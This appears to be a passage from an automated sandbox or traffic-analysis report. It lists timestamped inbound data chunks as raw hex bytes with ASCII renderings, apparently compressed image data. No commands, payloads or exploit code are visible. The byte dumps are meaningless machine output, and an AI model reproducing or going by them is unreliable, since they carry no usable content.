2022-07-21 02:34:44 UTC	1187	IN	Data Raw: 93 7a 23 c6 99 55 cf f7 6b 4a 71 e5 76 e8 ba 18 6a 5d d1 64 0f 7b 13 dd 5c fd a2 c7 ec ac ff 00 bb 8f f7 db ff 00 85 bf da db eb 59 b6 f3 43 35 f7 da a2 fb 44 7f 66 9d 5d 3e d1 22 7f 7f e6 5f 97 fb dd cd 3e 4b 79 ad f4 18 e5 48 a3 b3 92 1f dc 7f a3 ef 4f 31 f7 ff 00 0a bf fb df 7e ad 68 ff 00 67 b8 b9 8e f5 6d ad ef 6d 6c e1 ff 00 57 73 f2 6c 7d 9b 7e 77 dd db e5 6d b9 ab d2 3c d2 f9 1a 44 ea 2c d7 fd 32 f6 e1 2d a3 89 ee 9d 53 ec f1 c9 fe ae 2f f9 e7 f8 fb d6 54 37 8f 71 7b 1d aa ff 00 a3 cf 34 8d 3c 31 c9 f3 cd 02 2f fd 33 6c 6d fb dc f4 fc 6b 6a 59 9e e2 da 38 9e e6 39 12 f1 d6 0f b4 5b ec 44 f9 7e ec df fe af 9a b8 fd 6a 6b 4d 36 fb 75 c4 7e 5d d7 9f f2 5c 47 ff 00 2d 36 fc aa 57 77 fb df c5 c7 7a f3 e8 47 da 4a 49 ef d0 72 f7 4e 8a de ce 6f ec d8 e2 Data Ascii: z#UkJqvj]d{\YC5Df]>"_>KyHO1~hgmmlWsl}~wm<D,2-S/T7q{4<1/3lmkjY89[D~jkM6u~]\G-6WwzGJIrNo
2022-07-21 02:34:44 UTC	1250	IN	Data Raw: d2 47 6f 62 93 7f a1 7e ef 63 ff 00 76 3f bb fe ee e6 1f 7a b1 c3 4a 58 a8 72 cb a0 72 fb 39 1d ae 95 66 ba 7c 97 16 a2 4b 7d 42 7d 92 f9 16 f2 48 9f ea a4 47 1b 36 f4 ff 00 be 8f de a3 48 d3 61 bf fe d2 3a 95 b4 9f 65 ba de 90 49 71 27 ce fb 76 46 ac c1 b8 92 ba 77 b5 d3 a0 b7 bd d3 6f 6f 7f b2 a3 79 9b ed 52 47 f7 fe 67 ca fd cf e2 da cb 5c d7 93 a8 ea 56 f1 fd 82 da de df 4e d8 b0 4d f6 8d 89 b1 db 8c a6 ef bc c7 fb 9f 7a b8 a3 52 53 e6 6b 4f 33 a2 51 8c 49 fc 4f e7 47 6d 65 ad 69 57 31 c4 89 fb 8f 33 cb f9 27 7e cc ac df 75 76 d4 e9 61 a9 6b 1a b7 d8 b4 af 33 4a d3 61 db 7d 75 71 25 c3 c2 91 f7 61 ce 0a b1 6f fb ee 9d 79 36 94 86 5b 55 f2 e4 d3 51 e2 83 f7 71 fc 88 9b 3e f3 74 12 63 ff 00 66 ab 76 77 89 ae 78 76 e6 ca f2 e6 39 3e d9 ba 44 b7 b8 f9 1f Data Ascii: Gob~cv?zJXrr9f\|K}B}HG6Ha:eIq'vFwooyRGg\VNMzRSkO3QIOGmeiW13'~uvak3Ja}uq%aoy6[UQq>tcfvwxv9>D
2022-07-21 02:34:44 UTC	1290	IN	Data Raw: bf f0 73 e9 d6 a2 bd e5 53 99 f5 33 8f c2 54 ba fb 76 9d f6 db 7b 8b 99 35 04 f2 5e e9 24 f3 3c e7 9d fe 7d bb 7b 6e 5f ef 7f e3 c6 b2 a1 d4 af 2f ad fe d6 b7 be 64 ff 00 f2 f5 fb bd 9b 3a a9 91 bf 85 7f e0 59 ad 3b 39 26 d4 a4 b6 89 ff 00 e2 5d 05 b7 fa 55 94 92 fd f7 7d 98 ff 00 be 1b d7 fb d5 9f 7f 35 b3 59 de da 4b f6 7b 74 4d 92 7d 9f cb d9 e6 3e c4 67 ff 00 6b 77 fd f3 b6 b6 a7 6f 86 4b 5e a6 52 f7 88 bc 33 71 f6 cd 7a da d6 5b 1f b4 59 24 2d 75 0d c4 9f f2 df e7 7f bd bb 8d bb 37 7c b5 d0 6b 13 7f c4 d6 5d 51 e4 93 51 47 87 ec b0 db ff 00 ae fb bf c5 f2 67 6f d7 3f 79 ab 96 9a f2 58 75 2b 64 f3 64 fb 0d e6 df dd c7 26 ff 00 23 e4 1f f2 d1 bf 87 fb db ab 62 1b cf b6 f9 7b e4 8f c8 b3 de f3 79 72 3e c9 1f fe 79 7f c0 bf 87 34 eb 47 df 53 5b 58 39 be Data Ascii: sS3Tv{5^$<}{n_/d:Y;9&]U}5YK{tM}>gkwoK^R3qz[Y$-u7\|k]QQGgo?yXu+dd&#b{yr>y4GS[X9
2022-07-21 02:34:44 UTC	1354	IN	Data Raw: 37 90 8d fc 7d bf 0d fb b8 ae a3 c5 56 70 c7 1e ac b0 7f a6 4f e7 33 c1 fb c7 4d 8f fc 5b 5b ee f1 bb fd d3 da b0 74 eb 34 d7 74 9d d6 f7 3f 6c 82 e6 d9 7f d6 6c 81 37 fe f3 76 f5 fb af fe f5 14 27 1f 67 cf 3d b6 2b 97 de f7 4c 9d 06 ce f2 7b 8b d8 a0 92 39 20 7f f9 e9 f7 23 79 3f dd ff 00 6a b7 b4 b9 b4 b7 d3 6d ac ec 25 92 de 44 ba fb 2c f1 c7 f7 36 2a 3e d9 00 5e 3f de ed 56 6d a6 4f 0e f8 62 c9 25 8e 4b dd 90 ad a5 ad 9c 7f 3f 96 ec 9f 27 cd 8f ef 3f 18 1f 7a b1 3c 1f a5 6a 56 7e 30 be 97 cb fd dd 9c fe 43 c9 1e f4 f2 fc cf ee 6f e5 62 3e f5 ac a5 ed 21 52 5b 25 b7 98 8e af 4a d1 df 52 b6 d5 ae b5 79 6d f4 bd 39 3f 71 6b 1d c4 9f c0 a8 9b 26 db bb e5 fb 9f fe cd 70 fa dd b3 d8 cb 1e 87 75 25 c6 a3 be 1d fe 64 7b f7 c8 f2 3e d6 d9 ff 00 3d 3f 87 6f fe Data Ascii: 7}VpO3M[[t4t?ll7v'g=+L{9 #y?jm%D,6*>^?VmOb%K?'?z<jV~0Cob>!R[%JRym9?qk&pu%d{>=?o
2022-07-21 02:34:44 UTC	1489	IN	Data Raw: cf 47 8d 3c 2d a6 ea be 0f f1 24 49 24 77 9a 96 f6 91 ee 3e 44 7f b3 ef f3 bc 8f 46 d9 5a 56 fe 21 d5 7c 71 1c b7 16 f1 db e8 d7 6e fe 62 5c 7d a3 7f c9 1b e3 f7 78 1b be 7d 9f 30 15 8f e2 0d 62 f3 47 b1 b1 bd 7b 6b 8b 6b fd 41 df c8 fb 4d c3 bf f6 66 ef 97 e5 56 cf ce c9 db fd ad b5 cf 4e 8d 65 56 38 89 4b 95 bb 2b 5f 5d 3f 40 f7 79 79 77 31 fc 29 2b e9 7a 97 fa 3c b7 12 58 f9 16 f1 ea 3f 66 8d 3e fe fd ab f3 ff 00 12 7d df a6 ca 5f 1b 78 1b fb 26 eb ed bf 69 f2 ed 21 ba 69 20 8f cc 49 ae 6e d2 47 dc ac 8f cf cb ea a6 8f 0c 27 88 74 db 3d 46 ee df ed 11 d8 db 3b c1 e6 47 66 9b 24 46 fe 0e 9b 5d 77 56 fe 8f a8 5d 5c f8 8a 34 7d 26 39 2e b4 6b 26 d9 6f f6 7d 9b 13 67 f1 16 6f d3 0c 2b 4a b5 ea 2a dc ea 4a d1 5f d7 f5 e6 73 46 31 94 79 4e 0f 49 9a fe 6b 2d Data Ascii: G<-$I$w>DFZV!\|qnb\}x}0bG{kkAMfVNeV8K+_]?@yyw1)+z<X?f>}_x&i!i InG't=F;Gf$F]wV]\4}&9.k&o}go+J*J_sF1yNIk-
2022-07-21 02:34:44 UTC	1552	IN	Data Raw: f6 d1 bf 99 55 23 2e 58 f2 98 3a 2f 88 2d f5 8b 3b df 2a da e3 4f 82 17 47 f2 ee 2d f7 a6 f6 4f e1 5f 99 a3 f9 97 3b 85 6d eb da c2 e9 76 fa 6a c5 7d 1e 9f 75 72 eb 3b fe f1 1f d1 fe ff 00 f7 fb 73 54 19 1f 4c b9 8a c9 f4 d9 23 77 85 ad 7e c7 71 23 bc 2f e6 7c be 6a ed 38 f9 37 7e 75 bb ab e8 fa 5a 49 62 fa 86 9b 1c 9a 74 88 db 35 0f 31 1f f8 f6 7f ba cd b9 5b ef 7e 35 bd 49 52 75 23 2e 5d 3e f1 f2 cb 94 dc b3 d7 a1 d6 bc 3f 1d fa 49 79 6f 63 fe be 78 e3 93 fe 58 af 1f 7b fd ad df 76 b9 8b 3f b3 5e 49 a9 33 49 25 be 87 75 6a ee 9e 5c 9f b9 d8 bb 1d 63 de d8 d9 f3 7d e8 f1 ff 00 7d 56 86 a8 21 f0 ff 00 83 a4 fb 17 97 71 75 33 ca 89 6f e5 ff 00 ab f9 11 5b fb df c3 fd ef bd d6 b9 1d 1f 43 b4 86 5b 65 d4 ad a4 93 ce 48 a4 f2 e3 91 f6 41 fe ea f1 fc 3d eb 97 Data Ascii: U#.X:/-;*OG-O_;mvj}ur;sTL#w~q#/\|j87~uZIbt51[~5IRu#.]>?IyocxX{v?^I3I%uj\c}}V!qu3o[C[eHA=
2022-07-21 02:34:44 UTC	1624	IN	Data Raw: 5a f5 b7 9b b9 63 fb 44 0f bb f7 7e 5f cf bd ba 6c dd f7 ab 8b 97 11 1b f3 6b f2 2f dd 36 26 d4 af 16 5b db 8b a9 3e d1 3c c9 2c 6f f7 13 f8 3e 6d cd fd ed bf f8 ef a5 55 4d 2f 51 59 7e c5 14 9e 64 0e 8d 02 47 e5 ec 7d ff 00 77 6f fb c7 e9 f4 aa 91 de 5b 5e 6a 77 36 b6 71 49 f6 47 7f 3f cc f9 26 fe 0f f6 be ff 00 e7 5d 2f f6 55 de b5 af cb 15 a7 97 65 07 92 91 ff 00 a3 79 db 24 99 7e eb 7a ab 3e d6 6c 7f bd da b9 a5 2f 65 e5 a1 7f 11 83 e5 23 79 96 fa 8f ef 3c 9d a9 ff 00 00 e3 a7 6f bd 55 6c d1 26 d4 ad a2 b8 f3 3c f4 75 4f 33 ee 3c 9b be 5f fb e9 7a ff 00 3a dd 87 c1 97 fa a5 b4 ba 84 b7 b1 c9 b1 3c c9 bc bd 8e f1 bb 7f 01 ff 00 79 a9 b0 f8 09 ec f4 e9 75 a9 6d bf d2 ad 76 fd a6 df ef bc 6f bf 6c 9f 27 f7 76 ff 00 ec bc d5 2a d4 a3 ee f3 6b b7 cc 8e 59 Data Ascii: ZcD~_lk/6&[><,o>mUM/QY~dG}wo[^jw6qIG?&]/Uey$~z>l/e#y<oUl&<uO3<_z:<yumvol'v*kY
2022-07-21 02:34:44 UTC	1719	IN	Data Raw: b4 09 f7 df e4 e8 ed b5 eb be 35 69 c2 4e ca fc db ff 00 c0 39 a5 19 05 86 b1 6f e2 cd 4a de c2 2f f4 78 2e 6d a5 8f f7 7b 3f 76 8d f7 d7 77 46 f9 6b 16 1b eb 6d 17 c4 7a 72 4f 27 f6 7d a4 df b8 87 4f b8 ff 00 9e 2c ff 00 de 5f bf 5d 16 83 6a f3 6a 31 db d9 47 71 71 a3 cc 9b d2 4b 9f 9d f7 af 6f f6 2a 1b cb 3f ed 0b e8 d1 fc cb c9 d1 fe ca 97 1e 5f 9d e4 23 3e ed bf 2f a5 73 46 74 e1 37 4f ec db 62 b9 7e f2 cc 76 96 76 fa 0d b3 bc 97 17 16 89 3d c4 f0 47 6f 26 c7 d9 d7 ef 37 f0 8a 66 a5 33 a6 9a 35 0b a8 a3 b8 b1 77 5d 96 f6 df 7f e5 4f e3 6a 86 c6 3b 4d 37 4d b9 96 d6 e6 3b 88 3c e6 83 ec f2 49 bd e4 6f f7 bf 85 6a 08 ae 21 7f 0e 49 71 05 97 d9 ee a1 7d 93 c7 f3 ec fb 9f c3 fd e5 5e 95 97 2b e6 e6 df 51 f3 12 c9 af 6a 3a e5 f5 b5 e5 85 c5 bd ea 27 fc b4 Data Ascii: 5iN9oJ/x.m{?vwFkmzrO'}O,_]jj1GqqKo*?_#>/sFt7Ob~vv=Go&7f35w]Oj;M7M;<Ioj!Iq}^+Qj:'
2022-07-21 02:34:44 UTC	1767	IN	Data Raw: ae a3 4d f1 95 9d b6 95 ad da c1 73 a3 7d a3 53 bd c5 af d9 be 48 67 99 be 6d f2 bf 1f 7f 77 e3 5e 8e 33 09 65 19 c7 9d 4d 25 a2 76 b7 70 8c bd de 5e 87 39 f0 bf c3 0f e2 0b 79 6e f5 5b 19 34 eb 4b 59 d2 0b 2d 2b ed 08 f3 47 b5 33 24 92 9f e0 f3 5d 95 76 fd ea ef 7c 9b 9b cd 36 38 75 3d 22 ce 48 21 9d 23 fb 3f 97 fe b1 37 e5 57 7e 4e e5 5e f5 e6 16 ff 00 f1 4f 47 7d 65 a9 5c c9 65 24 8e f1 a5 e7 c9 bd f6 be ed a8 9f 75 bf f6 6a d5 f0 cf 88 35 2d 6b c6 1b 6e 24 8f ec 10 a3 dd bc 7e 67 ef 91 3a 79 1b 39 d8 ce de 5f cb ff 00 02 cd 77 3a 55 31 b5 a1 56 95 a2 ef 65 ff 00 01 7e 6c 98 ca 31 3b 5d 76 38 f4 af 05 47 a6 f8 76 e6 39 77 bf db 9e f2 e6 3f b5 3c 8f bf 2d 21 6e 3f dd 0d 5e 69 73 36 ab aa f8 92 d6 54 fb 3d 95 df d9 5e fa fa 3b 99 1f ee 2b f1 23 7f 73 7e Data Ascii: Ms}SHgmw^3eM%vp^9yn[4KY-+G3$]v\|68u="H!#?7W~N^OG}e\e$uj5-kn$~g:y9_w:U1Ve~l1;]v8Gv9w?<-!n?^is6T=^;+#s~
2022-07-21 02:34:44 UTC	1807	IN	Data Raw: 7e 95 2d bd e5 9e ad a7 5d 49 f6 9b 8b 7b 87 86 2b ab 2f b3 46 fb e0 f2 dc fc bb b2 5b ff 00 42 a5 f5 9a 93 84 65 2d d7 f5 70 f6 3c b2 39 ab 59 21 f0 cf fc 4b f4 8b d8 ec ed 3c ef df dc 5e ec d9 27 f1 47 9d ff 00 7b fb bf 27 ca 17 fe fa ad 5f f8 46 2c 7c 61 a8 ea d2 ea 1a 6f 97 3d 9e cb af b4 49 1f f0 32 7c ff 00 27 fc b4 51 d0 7f 3a e6 fc 59 a1 3e b5 e1 38 f6 fd 9e 3d 4b ed 4a f7 b2 5b 47 b1 d3 6e 36 19 62 5f bc df de ff 00 ec eb d0 7c 3b 34 3a 56 89 73 6f 6f 2c 97 b0 5e 24 56 b0 49 1c 69 bf f7 9f eb 3b e3 8e e8 6a b1 12 74 e9 aa 94 e5 ef b7 6b fd da ff 00 5d 02 9f 2c bd d9 6c 78 ce bf f0 bd f5 bb 99 35 05 1f d9 d6 31 bc 56 29 6f f6 84 4f 32 6d f2 2f 4f be f8 5f ca 93 c5 5e 00 d5 74 af 16 79 1a 44 92 7f a2 db 7e e2 de e2 37 df 02 6f 3f 77 70 f9 9b e9 cf Data Ascii: ~-]I{+/F[Be-p<9Y!K<^'G{'_F,\|ao=I2\|'Q:Y>8=KJ[Gn6b_\|;4:Vsoo,^$VIi;jtk],lx51V)oO2m/O_^tyD~7o?wp
2022-07-21 02:34:44 UTC	1847	IN	Data Raw: ef 34 b7 b5 48 2e ae 24 91 de 6f 35 93 2b b9 bf bb 5e 85 39 46 b3 8d 2b f7 67 b7 29 72 c8 ca f1 57 86 f5 1f ec f9 3e d5 ab 7f 6c 3d cb ff 00 a1 49 fc 13 a3 7f 7f 1e 95 a9 a3 e8 29 fd 8b 2d 84 fe 65 c4 96 6f f3 c7 e6 3e f9 13 b7 fc 07 75 27 8b 2f 2e f4 2b 3b 6d 4a c6 e7 cc f3 9d 5f f7 91 ef f2 15 7e f2 c1 1d 5a b8 91 35 dd 43 fb 6b fd 23 fd 4f 90 f1 f9 9b 3c c7 6f 99 b8 fe f6 da d6 a5 49 ca 9c 5d f4 fd 4c 79 55 39 7b b1 3a 49 ae 1e 68 e4 b7 49 24 92 44 4f 21 e3 fe 08 36 f3 f2 b7 f0 e2 b2 96 c6 1f 0d e9 b7 30 2d cf 98 ee 9e 5c df cb 72 ad 56 d5 2e 21 d0 75 6b 28 62 b9 f2 ed 75 08 7c cb ab cf 33 64 df 2f dd da 9f c7 9a bb e2 46 87 4e b2 8e df 54 92 de de fa f1 1b 64 9f c1 ea b5 e6 f2 cd 4a 36 da 5a 97 29 73 47 9b a9 8c 8b 77 e1 cd 06 ca d6 ce 38 ee 20 7d e9 Data Ascii: 4H.$o5+^9F+g)rW>l=I)-eo>u'/.+;mJ_~Z5Ck#O<oI]LyU9{:IhI$DO!60-\rV.!uk(bu\|3d/FNTdJ6Z)sGw8 }
2022-07-21 02:34:44 UTC	1966	IN	Data Raw: 76 d9 fd ef 97 93 f3 54 1e 04 b5 d3 6d ec b5 bb 4d 7e f6 33 04 db 63 48 ef 64 77 85 1f ee c8 c1 5b 6f d3 76 6b ab d6 6e 2c 2f bc 7d 71 a4 47 6d 71 69 23 d9 44 fa 7c 91 fd cf 3b fb eb cf dd 1f ed 54 1f 66 bc b0 92 3b 88 bf 79 77 a8 3c a9 75 f6 7d ef fb d5 4f 99 9a 2f ba 8c 1d 78 ff 00 7a b5 8d 4e 5b 53 4f 95 d9 6a 4a 8f da 36 ad f4 1d 2b 47 d3 6e 6f ed ff 00 d3 6d 23 8d 52 08 fc cf 93 e5 ff 00 d9 eb 0b c6 16 70 f8 db c3 77 df da bf f1 2e f2 5d 2d 2c 75 19 24 47 fb df 2a c9 fe d7 cf fc 2b fc 35 bb 67 79 6d 61 1f d9 fe c3 fb bd 33 ef ff 00 a4 23 bc fb 7e 63 2b 6c f4 f5 6a af a8 6b 10 f8 86 f6 da 5f 36 de 3d f7 56 f3 c1 6d a9 5b ef 49 13 ee f1 f2 fd f5 67 dd c6 ea fa 5e 1f c2 e3 29 d6 95 48 a6 ef 7d 7e cb fb 89 ad 28 cb e2 39 cb 3d 1f 4d f1 9d c5 8d a6 b1 6b Data Ascii: vTmM~3cHdw[ovkn,/}qGmqi#D\|;Tf;yw<u}O/xzN[SOjJ6+Gnom#Rpw.]-,u$G*+5gyma3#~c+ljk_6=Vm[Ig^)H}~(9=Mk
2022-07-21 02:34:44 UTC	1982	IN	Data Raw: 1f 0f db ec 97 4d 93 56 b4 86 0f 21 23 b6 d9 0a 7c af fe b6 35 90 ee 78 86 ef bb bb ff 00 b1 ea 17 c0 d3 49 f6 e9 75 59 7c cb 48 74 b9 6d 13 fd 23 7c df 32 71 e5 a6 d0 bc 7c ac 36 7c df c3 5d 0e 96 1e 35 e2 a5 2b f3 3b de fd bb 27 f8 93 69 72 fa 19 f1 eb 16 da a6 a5 a6 6b 5a c5 b4 71 cf 75 74 ff 00 bc b2 91 12 18 e1 8d 0e cb 55 eb fe ad 36 ed 6f ba d5 7f 4a d6 34 ef 13 7f 69 c5 71 24 71 5a 58 4c ba af ee e4 4d 90 3a fc 98 5d bf c2 57 9f 5d d5 97 e3 0d 12 c5 2c 74 38 b4 9b 68 ed b5 6b 57 f2 e1 93 e7 49 a3 dd 92 ab d0 ab 7c bb be 5d 9f de ac 9f 07 e9 b6 33 68 76 d6 57 1a 6e ab 1d 8e a5 b3 fd 32 48 ff 00 73 25 de f9 37 2b ab e0 ec 6d bb bf fd 55 cb 98 d7 8e 61 19 62 63 b5 fe 7e a5 47 9a 3e e9 d7 dc 5e 7f 6f 59 7d ad 3c bb c9 1e 16 fd df 98 9b 3f ba ab f2 b7 Data Ascii: MV!#\|5xIuY\|Htm#\|2q\|6\|]5+;'irkZqutU6oJ4iq$qZXLM:]W],t8hkWI\|]3hvWn2Hs%7+mUabc~G>^oY}<?
2022-07-21 02:34:44 UTC	2053	IN	Data Raw: 5f ee d7 af 1a 8e 95 3e 5b eb f8 33 86 5f 11 11 d0 61 d5 ae af 6e 34 bb 2f b1 40 9b 11 2d ed e4 df f3 af cb f2 96 f9 b9 ff 00 f5 55 4d 6a d7 fb 1d 24 b8 d4 62 8f ec b0 fe ee 6f 32 3f e0 64 e8 bf 46 e9 9a 1b 5b bc d0 6d ee 6e 2d 62 f2 ef b6 79 f0 ff 00 df 7f fa 0f fe 83 4d f1 26 a5 0e ab a0 c5 a9 59 5b 47 23 dc ce a9 f6 39 3e 7f 2f fb ca cb fc 7e bb ab 68 2a ae 71 72 f8 76 2f dd 97 bc 6c 43 a2 5b 5a 69 46 e2 de 4f b4 5a ec 89 12 e3 fd 86 e7 76 da dc fb 1e d9 3e d1 14 bf eb 9d 53 cc ff 00 c7 9b 73 7f 0e e6 ae 63 4d 47 78 e4 d3 65 8e 48 d3 67 c9 fb cf f5 1f 27 cd fe ea d5 db 1b 9b 99 af 22 7f 36 48 d3 67 c9 fb bf 93 7f 7d ab 5e 7d 68 cb 57 cc 38 1d 1a c3 63 61 e2 3d 35 a2 ff 00 89 8c f0 a3 27 fa b7 d9 03 b7 fc b3 f9 bd 17 d3 fb f5 be ba d4 d6 72 58 dc 4b 1f Data Ascii: _>[3_an4/@-UMj$bo2?dF[mn-byM&Y[G#9>/~h*qrv/lC[ZiFOZv>SscMGxeHg'"6Hg}^}hW8ca=5'rXK
2022-07-21 02:34:44 UTC	2141	IN	Data Raw: 71 3d b6 df 3f ed 1f 7f e6 fb af bb f8 ab 8d c6 51 72 4f 76 5f 37 31 ce eb c1 ec 35 7b 2b 88 65 f2 f7 cc fe 45 bf f1 ef 5f e1 fc 57 f8 ab 33 42 7f b1 f8 92 2b 88 2d ae 24 d3 be 6d 9e 64 9f c6 df 7b 6d 74 5e 26 b3 5b 6b 99 75 71 e5 ec b3 7f 3e 1b cf 2f ee 7c 9f c3 f5 ac 0d 37 c4 97 31 d9 dc c9 67 fe a1 de 5d 91 c9 f2 79 ff 00 ed 7f b1 5e ad 2b ce 87 ba af a5 99 cd f6 8d ff 00 14 dc bf f6 0c 57 0f 1f cf 0f ee d3 f8 de 09 5b ee ed ff 00 65 bf bd 4f fb 47 da 6d ec 53 ec de 65 ab a5 c7 ef 24 8d 3f 87 ae ef f6 aa 5b ab 0b 3b 7d 06 da d7 ec d2 49 26 c8 a4 fb 3c 9f 23 c6 eb fc 2c 7f c6 b1 7c 3f 23 d9 eb f6 d6 bf eb 27 48 5b 64 91 fc fe 47 f1 61 3f da 3f 37 d2 b9 a3 18 ca 9d a3 f6 6e 5c a3 cb 23 b0 b6 bf 9a c3 ec 4d 65 73 1f f6 74 3b 3f 79 27 fc b0 f9 3e 5f f8 18 Data Ascii: q=?QrOv_715{+eE_W3B+-$md{mt^&[kuq>/\|71g]y^+W[eOGmSe$?[;}I&<#,\|?#'H[dGa??7n\#Mest;?y'>_
2022-07-21 02:34:44 UTC	2173	IN	Data Raw: 5f b6 cb a6 be 9c d7 d0 49 7b 22 4c f6 8e af b7 8d df 2e ef e7 58 9e 20 b3 d6 34 5b 6f 36 e3 48 fb 4c 9e 7a 49 3d ed ce cf 92 6f 9f f7 8d fd 38 cd 77 e0 f1 18 7f 76 9d 59 b8 b4 ee b5 d5 ab fe 84 4b 98 77 88 3c 49 7f a1 c9 6d a8 59 6b 97 12 6b 57 56 bf 64 fb 15 ec 89 e7 5d ba c3 ba 59 53 77 f0 26 ea a5 ad f8 bf 4d 7b db ed 16 ef c5 d1 d9 5a 69 90 5b cf e6 49 b2 7f 31 d9 3e 49 63 5f bc df 3b 36 7f bd 4f b1 d1 ee 7c 4d 65 a4 5c 7d 87 ed 37 ef be 39 fc bb df f5 69 1a 79 49 14 3f dd 47 fb dd 87 c9 bb ad 68 68 b1 da 6a 5e 17 97 5f 9a 49 24 bb 47 8a 07 bc b6 8d 1e 78 de 37 09 e5 2c ed 1f 9b ff 00 7d fc bb 6b ed aa e6 19 7d 0a 3c b4 aa 6f bd d2 7b be c7 27 b3 94 a5 ef 23 3f 44 f0 e5 cd d6 a5 fd 95 ac 5f 69 da 96 93 7b 6a ef e6 47 a7 22 7d be 65 7f 97 f7 8a 77 ef Data Ascii: _I{"L.X 4[o6HLzI=o8wvYKw<ImYkkWVd]YSw&M{Zi[I1>Ic_;6O\|Me\}79iyI?Ghhj^_I$Gx7,}k}<o{'#?D_i{jG"}ew
2022-07-21 02:34:44 UTC	2237	IN	Data Raw: 8b 74 92 7e e9 63 b7 92 47 dd 3b c7 27 ff 00 15 cf cd 5e 6f 7b aa ea 3a 94 71 26 a1 2f cf 6a 8b 1a 5b fc ff 00 73 ae d5 ad af ec 7b e8 6f 7e d1 17 dc 4d db e3 8f e4 77 4f ce b1 9e 0e 31 5e f4 b5 61 ed 0f 46 be b9 b6 9a 38 ad 52 38 e4 9e 69 ff 00 e5 9f df d8 df 7b fd aa a3 6d fd 9b a5 de c9 75 fb bb 78 f6 6c 79 24 93 e4 fa af ff 00 ab 75 71 d7 9a 2c d7 d7 97 37 16 fe 64 7b 3e e4 7e 67 dc 7f 93 ee ee ff 00 f6 a9 6f 2c ef f5 4f 37 cd b9 fb 44 fb fe 7b 78 f6 7d cf bc a5 b3 f7 7e ef f3 ae 48 e1 63 cb cb ed 34 ea 6d cd fc a7 6b e2 24 b0 bc b6 f9 a4 8e 4b e7 7f f6 3e e7 de 5d bd eb 0e f2 e6 cd b4 99 2c 1e 39 3c cb 64 68 ff 00 d8 df f7 bf e0 5b f7 57 1f e6 5f ea 9a 8d ca 45 e5 c5 b3 ef f9 9f 22 46 eb f7 3e 6f e1 6d b5 2d bd ad e2 d8 de cb 71 24 9f 27 fc b3 b8 93 Data Ascii: t~cG;'^o{:q&/j[s{o~MwO1^aF8R8i{muxly$uq,7d{>~go,O7D{x}~Hc4mk$K>],9<dh[W_E"F>om-q$'
2022-07-21 02:34:44 UTC	2269	IN	Data Raw: 85 b4 56 be 64 69 34 fb e6 93 fb 89 b3 1f ad 73 b6 f7 f6 d3 5b 49 70 f2 49 f6 b7 bd 6d f6 72 46 9e 4e f5 fb 9f e3 5b fa 95 d3 dc c7 1c 50 79 72 3d b5 af c9 e6 6c d9 5c 93 d9 f9 3f 3a fd f7 ff 00 96 77 16 fb 12 34 6f bc 7a fc 95 96 1a 31 e4 b4 b7 36 94 b9 4b 7e 2c d4 93 16 56 16 ff 00 68 91 1d da 7f 33 f8 13 e4 e3 ff 00 ad f9 d5 dd 07 6c 7a 7d cd bd 94 71 db d8 fd f4 fb 17 cf f2 2f 56 db 59 57 d6 d6 c9 1d bd c7 fa 44 8e ef 16 c9 24 d9 be 37 5f 9b fe f9 f5 ae 97 47 86 2f b6 c5 03 7e f2 ed d1 9e 48 e4 8f 67 98 9d 18 23 7f 7a b4 ab cb 1a 2a 31 31 8f c5 23 37 c4 0b a8 ff 00 64 cb 6b 04 92 47 27 9c b2 24 91 c6 9f 22 6c fe ed 35 a3 b4 b1 ff 00 84 6d 6f e2 8e 47 d4 3f 7f f6 c8 fe fe f5 f9 7c af f6 7e f5 5c d5 11 34 d8 f5 24 fb 4c 7f b9 b5 fd c7 9b fe ba 7f ee ff Data Ascii: Vdi4s[IpImrFN[Pyr=l\?:w4oz16K~,Vh3lz}q/VYWD$7_G/~Hg#z*11#7dkG'$"l5moG?\|~\4$L
2022-07-21 02:34:44 UTC	2325	IN	Data Raw: 5b 7b 77 71 e5 db 68 53 6d bb fb 3d ed bb ec 83 cb 7f f5 89 2f f1 3a b7 fb 2b c5 7c 44 b0 bc 95 65 2a 2d c6 11 df 9b 46 da f4 eb 6d 99 d7 f9 90 c3 f0 b2 e7 47 d5 ad b5 ab 8d 5e 39 2e 35 08 25 92 fa 4b 98 d2 18 64 78 fe 7e db 37 3d 6a f8 7f fd 3f c6 d7 d7 69 2d bd ef ee 2d 63 9e cf e4 48 23 86 37 7d b2 29 6c 97 73 df e6 f9 1a b7 6d b4 17 b3 be 97 52 d5 6e 7f b4 6c 7c 8f f4 5f 2f ef c1 0c 9d 51 a3 53 f3 7f 7b 7f e7 ba b9 bd 1f 5c fb 76 b9 fd 95 a2 45 6f a5 24 33 fd ad fe d3 26 cf b4 79 3f 7e 2e 9b b9 f9 59 bf de 6c d7 d0 d6 cc e5 8d a5 53 0d 4f de 56 57 93 e9 ad ec b4 31 8c 79 65 cc 72 5e 38 bc d6 fc bb 5f 0d 68 5f 68 92 ff 00 c4 17 cf ac cf 71 f6 8f 25 e3 b7 d9 e5 ba ee 5d bf 22 22 af ff 00 aa ad fc 37 b1 b7 b3 f3 2d 74 fd 6f 5d b7 b0 d9 6f 3f 97 25 c2 25 Data Ascii: [{wqhSm=/:+\|De*-FmG^9.5%Kdx~7=j?i--cH#7})lsmRnl\|_/QS{\vEo$3&y?~.YlSOVW1yer^8_h_hq%]""7-to]o?%%
2022-07-21 02:34:44 UTC	2389	IN	Data Raw: 6c d7 92 c9 1e fd bf bb 8f e7 74 75 4d bf f7 cd 54 9b 41 74 b8 f3 52 5f 2d d3 e4 fe ff 00 c9 5a c6 14 63 ee ec 65 29 48 f4 3f 0c 59 d9 de 45 1d e3 fe f2 77 4f 31 3c b8 ff 00 bd f2 fc df ec ed ac dd 63 46 b3 b1 d4 a3 ba b7 8f cc 77 99 e0 ff 00 58 9b 24 db fc 55 97 a7 e9 b7 f6 71 c5 e5 49 f7 d1 b6 7e f3 fd 66 df a5 3e e2 5d 4b 32 79 1f e9 0e 9f f2 cf ee 6f ff 00 ec ab cd f6 72 8d 47 28 cf 43 6e 6f 77 e1 3b 3b 8f 0c a6 8f 6f 17 ef 63 8f f7 1e 67 97 e5 ff 00 ac dd db fe f9 aa e9 a9 2d 8f d9 a5 96 59 3c fb 67 f2 21 ff 00 80 d5 7b 77 d4 9b 49 b6 49 e3 8e 4d ff 00 bf 48 ff 00 fa d5 cb eb 1a ec d9 f3 62 8b cb 8f 7b 27 97 e6 6c 4a e3 a7 46 55 65 cb 29 5c a9 4a 27 ac 6a 9e 36 95 2c a2 96 29 23 f3 de 65 d9 fb cf 92 3d af f3 2f fb d5 03 f8 c3 42 bc b2 b6 fb 45 cf 98 Data Ascii: 